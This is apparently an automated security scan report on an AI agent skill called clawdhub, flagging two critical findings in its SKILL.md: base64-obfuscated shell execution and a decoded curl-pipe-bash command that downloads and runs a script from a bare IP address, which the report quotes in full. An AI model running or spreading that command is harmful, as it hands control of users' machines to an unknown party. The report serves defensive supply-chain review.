Trust Assessment
clawdhub received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Obfuscated Remote Code Execution via curl | bash.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/clawdhub-l91mzsalr7/SKILL.md:10 | |
| CRITICAL | Obfuscated Remote Code Execution via curl | bash The skill's `SKILL.md` provides installation instructions for MacOS that include an obfuscated command. This command decodes a base64 string which then executes `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarra3txw)"`. This directly downloads and executes an arbitrary script from an unverified external IP address (`91.92.242.30`). This constitutes a severe command injection vulnerability and a critical supply chain risk, as the content of the downloaded script is unknown and could contain malicious code, leading to full system compromise. The use of base64 encoding also indicates an attempt to hide the true nature of the command. Remove the malicious MacOS installation command. If an external dependency is required, provide a secure, verifiable installation method, such as a package manager with checksum verification, or host the script on a trusted, audited domain with clear content. Avoid direct `curl | bash` pipes, especially from unknown IP addresses, and obfuscation. | LLM | SKILL.md:9 |
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